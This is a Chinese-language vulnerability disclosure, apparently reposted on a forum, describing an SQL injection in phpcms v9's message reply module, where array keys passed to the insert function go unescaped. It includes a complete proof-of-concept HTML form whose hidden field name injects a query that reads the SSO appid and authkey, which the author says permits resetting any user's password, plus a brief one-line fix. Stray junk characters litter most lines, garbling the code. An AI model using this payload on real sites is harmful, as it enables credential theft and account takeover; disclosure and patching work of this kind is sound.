|
简要描述:
B1 f6 q) Q; J8 b
$ M/ M5 e) O; Y, ^8 g$ T7 T第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。/ C/ r! h+ F% I0 X. S, M( K
/ X. S' W( W8 X/ T9 f0 ~
明天再更新下一个漏洞。3 [0 H8 X$ D' ?6 l6 u
详细说明:
/ L8 \) w/ V4 [/ J/ S+ M: u在/phpcms9/phpcms/modules/message/index.php中有代码如下:; \' {) o& t3 i
% N9 x9 N: ~5 Q1 ]$messageid = $this->message_db->insert($_POST['info'],true);; o* D7 X6 Z! i
: R* E. R, q. E0 S0 p- C
3 C g& I/ S4 j) z4 m3 w# ~insert方法是key value的,代码如下:9 |) B/ v* H- h0 ?& [8 d1 e/ k
3 E6 D( ]1 h& W/ L# S
public function insert($data, $table, $return_insert_id = false, $replace = false) {
! ^. K; {2 m1 p8 O3 ?2 k. O8 ~ if(!is_array( $data ) || $table == '' || count($data) == 0) {
/ m, \" x0 ?& e* P; i return false;
7 p! t( u4 K# G, g5 P3 _ }; @9 ]. n, i! n# w
3 h" F/ m2 b; O' ~* R $fielddata = array_keys($data);
2 m) T* _5 Q) r" F $valuedata = array_values($data);
# o/ e& j0 q- z" u: ?7 ^0 A array_walk($fielddata, array($this, 'add_special_char'));; f8 o% V2 ]9 j6 ?/ s% F: |/ r
array_walk($valuedata, array($this, 'escape_string'));
) f2 Z1 x3 c o4 @' ?% U9 X4 D7 G
; s1 s& ^# r, |9 i $field = implode (',', $fielddata);
# D% ~$ D* f0 A# P2 B$ X. k) K $value = implode (',', $valuedata); `9 \6 I2 N) o1 z) q% O7 O
- a3 d, D5 C. V9 u p9 W- |
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';2 v1 m3 c: y/ ]* W
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
+ Y! K F I I8 U) J ?0 Y $return = $this->execute($sql);
. \4 ~9 l* O4 U/ s* g return $return_insert_id ? $this->insert_id() : $return;
9 K% J0 q$ z. m7 I }, f) }! ]$ n1 g) o; q1 W+ V
5 }$ b; F4 h- w( E" @
0 d! Y3 a) n& m2 B8 A8 _2 N' K嗯,很遗憾的是1 T' n$ d6 `% e; K$ f/ j8 O2 s
9 q, Z6 v% ^+ L9 n9 |# @0 {# Qarray_walk($fielddata, array($this, 'add_special_char'));9 Y& o+ o4 F, o) G3 ^- a" D
9 I y3 t. W" a: n7 ` T4 q6 @
1 a8 U# Y( b. u1 u M9 E中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
2 @( Y; E1 K$ |$ R/ a8 D. i8 V. Q. B) Y2 f t3 h( B) \4 q' _
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
/ O2 T; E x, S8 ]5 N: h2 i9 a4 u1 t2 D. d( ` |; V
漏洞证明:1 o1 {4 S! w4 s
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
& R: R5 M! W+ d) [' B7 R2 @5 b4 w3 N# D9 j: e9 X3 n
" V6 J$ ?" ~2 C2 L表单如下:用户名什么的得自己改一改。* A3 L1 H: |/ @+ g& z, P9 a1 r
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
- F- f5 C* [; `; k<table width="100%" cellspacing="0" class="table_form">1 W- I9 V! S! r: {2 U% K, I v
<tr>$ q' o$ s' _# O: U! U3 e. I# v
<th>标 题:</th>
7 {' g3 |8 e9 q: O: q6 ]) H<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>7 B: p. @8 P9 n- w" U* X0 n) ]
</tr>
/ I) t, F" K- q, J' s<tr>& r6 i& b! ~5 F7 D R8 @
<th>内 容:</th>
8 ^7 q) p/ k) x8 N; u5 l! b# N! v: M# I$ }<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
" v: ]0 k$ B5 k; H5 l</tr>9 C( H" [* g" a7 R% a6 K4 `. y
<input type="hidden" name="info[replyid]" value="2" /> . c% P% r3 \8 W! X/ }9 z
<input type="hidden" name="info[send_to_id]" value="cc" />
4 r% y3 s3 m; H8 ?7 d8 _4 n. n4 E<input type="hidden" name="info[send_from_id]" value="hh">
: v2 `( o0 a' s, \2 u7 v1 v<!-- 漏洞的利用重点在这里开始 -->
7 \# l& t% J8 Z8 i, E<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
2 f1 P& V- ?3 ?. |<!-- 漏洞的利用重点在这里结束 -->* } b/ S! r: \2 C' M" e
<tr>
- U, o, d! z* X5 e+ X4 l<th>验证码:</th>
/ K1 e- x8 Z0 m4 J4 E) Q: i<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td> g C3 G0 X- X. C5 L2 V9 U& ~
</tr>
' m: T1 e0 ?4 N8 J6 o% B<tr>
, ]5 x' e) k1 Q) e) n+ u+ L- y<td></td>
6 X# {) ^0 i. j* b! q<td colspan="2"><label>
2 }: {( c) A4 I<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>5 \/ D* \+ V! |6 L6 N5 r" i
</label></td>
7 @- f. v, K. t- s0 L$ d2 C2 l; m</tr>
4 T( B$ C ~2 ]1 |4 G4 G</table>9 N. a7 {. ~" F- D! ]
</form>: L5 h, Y7 L. o3 b" i+ x
在add_special_char函数内对key做过滤就可以了。
' b k0 c, a" X1 ?
9 \- e" h' {; G% N# C
+ o9 Y1 t" |3 C. W, _7 H! p1 ]( t% F1 ^' [4 m; b. P3 l
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|